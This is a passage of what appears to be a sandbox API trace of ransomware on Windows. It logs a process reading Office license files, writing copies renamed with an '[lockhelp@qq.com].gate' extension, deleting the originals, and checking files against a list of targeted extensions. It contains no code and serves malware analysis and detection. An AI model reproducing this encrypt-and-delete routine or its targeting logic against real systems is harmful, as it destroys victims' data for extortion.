Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0315.112] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.112] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.113] GetLastError () returned 0x0 [0315.113] ReadFile (in: hFile=0x404, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xd34, lpOverlapped=0x0) returned 1 [0315.122] WriteFile (in: hFile=0x4f0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xd40, lpOverlapped=0x0) returned 1 [0315.123] ReadFile (in: hFile=0x404, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.123] WriteFile (in: hFile=0x4f0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0315.123] SetEndOfFile (hFile=0x4f0) returned 1 [0315.123] CloseHandle (hObject=0x4f0) returned 1 [0315.123] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.124] SetEndOfFile (hFile=0x404) returned 1 [0315.125] CloseHandle (hObject=0x404) returned 1 [0315.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0315.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.126] lstrlenW (lpString=".doc") returned 4 [0315.126] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.126] lstrlenW (lpString=".docx") returned 5 [0315.127] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.127] lstrlenW (lpString=".pdf") returned 4 [0315.127] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString=".xls") returned 4 [0315.127] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString=".xlsx") returned 5 [0315.127] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.127] lstrlenW (lpString=".ppt") returned 4 [0315.127] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.127] lstrlenW (lpString=".zip") returned 4 [0315.127] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString=".rar") returned 4 [0315.127] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString=".bz2") returned 4 [0315.127] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString=".7z") returned 3 [0315.127] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.127] lstrlenW (lpString=".dbf") returned 4 [0315.127] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.127] lstrlenW (lpString=".1cd") returned 4 [0315.127] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0315.127] lstrlenW (lpString=".jpg") returned 4 [0315.127] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.143] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4208) returned 1 [0315.143] CloseHandle (hObject=0x4a0) returned 1 [0315.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0315.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.144] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.144] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.144] GetLastError () returned 0x0 [0315.144] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1070, lpOverlapped=0x0) returned 1 [0315.146] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1080, lpOverlapped=0x0) returned 1 [0315.146] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.146] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x106, lpOverlapped=0x0) returned 1 [0315.147] SetEndOfFile (hFile=0x448) returned 1 [0315.147] CloseHandle (hObject=0x448) returned 1 [0315.147] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.147] SetEndOfFile (hFile=0x4a0) returned 1 [0315.149] CloseHandle (hObject=0x4a0) returned 1 [0315.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0315.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.150] lstrlenW (lpString=".doc") returned 4 [0315.150] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString=".docx") returned 5 [0315.150] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.150] lstrlenW (lpString=".pdf") returned 4 [0315.150] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString=".xls") returned 4 [0315.150] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString=".xlsx") returned 5 [0315.150] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.150] lstrlenW (lpString=".ppt") returned 4 [0315.150] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.150] lstrlenW (lpString=".zip") returned 4 [0315.150] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString=".rar") returned 4 [0315.150] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.150] lstrlenW (lpString=".bz2") returned 4 [0315.151] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.151] lstrlenW (lpString=".7z") returned 3 [0315.151] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.151] lstrlenW (lpString=".dbf") returned 4 [0315.151] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.151] lstrlenW (lpString=".1cd") returned 4 [0315.151] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0315.151] lstrlenW (lpString=".jpg") returned 4 [0315.151] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.152] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11589) returned 1 [0315.152] CloseHandle (hObject=0x4a0) returned 1 [0315.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0315.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.152] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.152] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.153] GetLastError () returned 0x0 [0315.153] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d45, lpOverlapped=0x0) returned 1 [0315.474] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0315.475] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.475] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x108, lpOverlapped=0x0) returned 1 [0315.475] SetEndOfFile (hFile=0x448) returned 1 [0315.475] CloseHandle (hObject=0x448) returned 1 [0315.475] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.475] SetEndOfFile (hFile=0x4a0) returned 1 [0315.478] CloseHandle (hObject=0x4a0) returned 1 [0315.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0315.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.479] lstrlenW (lpString=".doc") returned 4 [0315.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.479] lstrlenW (lpString=".docx") returned 5 [0315.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.479] lstrlenW (lpString=".pdf") returned 4 [0315.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.479] lstrlenW (lpString=".xls") returned 4 [0315.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.479] lstrlenW (lpString=".xlsx") returned 5 [0315.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.479] lstrlenW (lpString=".ppt") returned 4 [0315.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.479] lstrlenW (lpString=".zip") returned 4 [0315.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.480] lstrlenW (lpString=".rar") returned 4 [0315.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.480] lstrlenW (lpString=".bz2") returned 4 [0315.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.480] lstrlenW (lpString=".7z") returned 3 [0315.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.480] lstrlenW (lpString=".dbf") returned 4 [0315.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.480] lstrlenW (lpString=".1cd") returned 4 [0315.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0315.480] lstrlenW (lpString=".jpg") returned 4 [0315.480] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.481] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=20846) returned 1 [0315.481] CloseHandle (hObject=0x4a0) returned 1 [0315.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0315.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.482] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.482] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.482] GetLastError () returned 0x0 [0315.482] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x516e, lpOverlapped=0x0) returned 1 [0315.548] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x5170, lpOverlapped=0x0) returned 1 [0315.548] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.549] WriteFile (in: hFile=0x448, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x108, lpOverlapped=0x0) returned 1 [0315.549] SetEndOfFile (hFile=0x448) returned 1 [0315.560] CloseHandle (hObject=0x448) returned 1 [0315.562] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.562] SetEndOfFile (hFile=0x4a0) returned 1 [0315.576] CloseHandle (hObject=0x4a0) returned 1 [0315.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0315.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.626] lstrlenW (lpString=".doc") returned 4 [0315.626] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.626] lstrlenW (lpString=".docx") returned 5 [0315.626] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.626] lstrlenW (lpString=".pdf") returned 4 [0315.626] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.626] lstrlenW (lpString=".xls") returned 4 [0315.626] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.626] lstrlenW (lpString=".xlsx") returned 5 [0315.626] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.626] lstrlenW (lpString=".ppt") returned 4 [0315.626] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.626] lstrlenW (lpString=".zip") returned 4 [0315.626] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.627] lstrlenW (lpString=".rar") returned 4 [0315.627] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.627] lstrlenW (lpString=".bz2") returned 4 [0315.627] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.627] lstrlenW (lpString=".7z") returned 3 [0315.627] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.627] lstrlenW (lpString=".dbf") returned 4 [0315.627] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.627] lstrlenW (lpString=".1cd") returned 4 [0315.627] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0315.629] lstrlenW (lpString=".jpg") returned 4 [0315.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.630] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11574) returned 1 [0315.630] CloseHandle (hObject=0x4c0) returned 1 [0315.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0315.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.630] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.630] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.631] GetLastError () returned 0x0 [0315.631] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d36, lpOverlapped=0x0) returned 1 [0315.689] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0315.690] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.690] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0315.691] SetEndOfFile (hFile=0x4b8) returned 1 [0315.691] CloseHandle (hObject=0x4b8) returned 1 [0315.691] SetFilePointerEx (in: hFile=0x4c0, 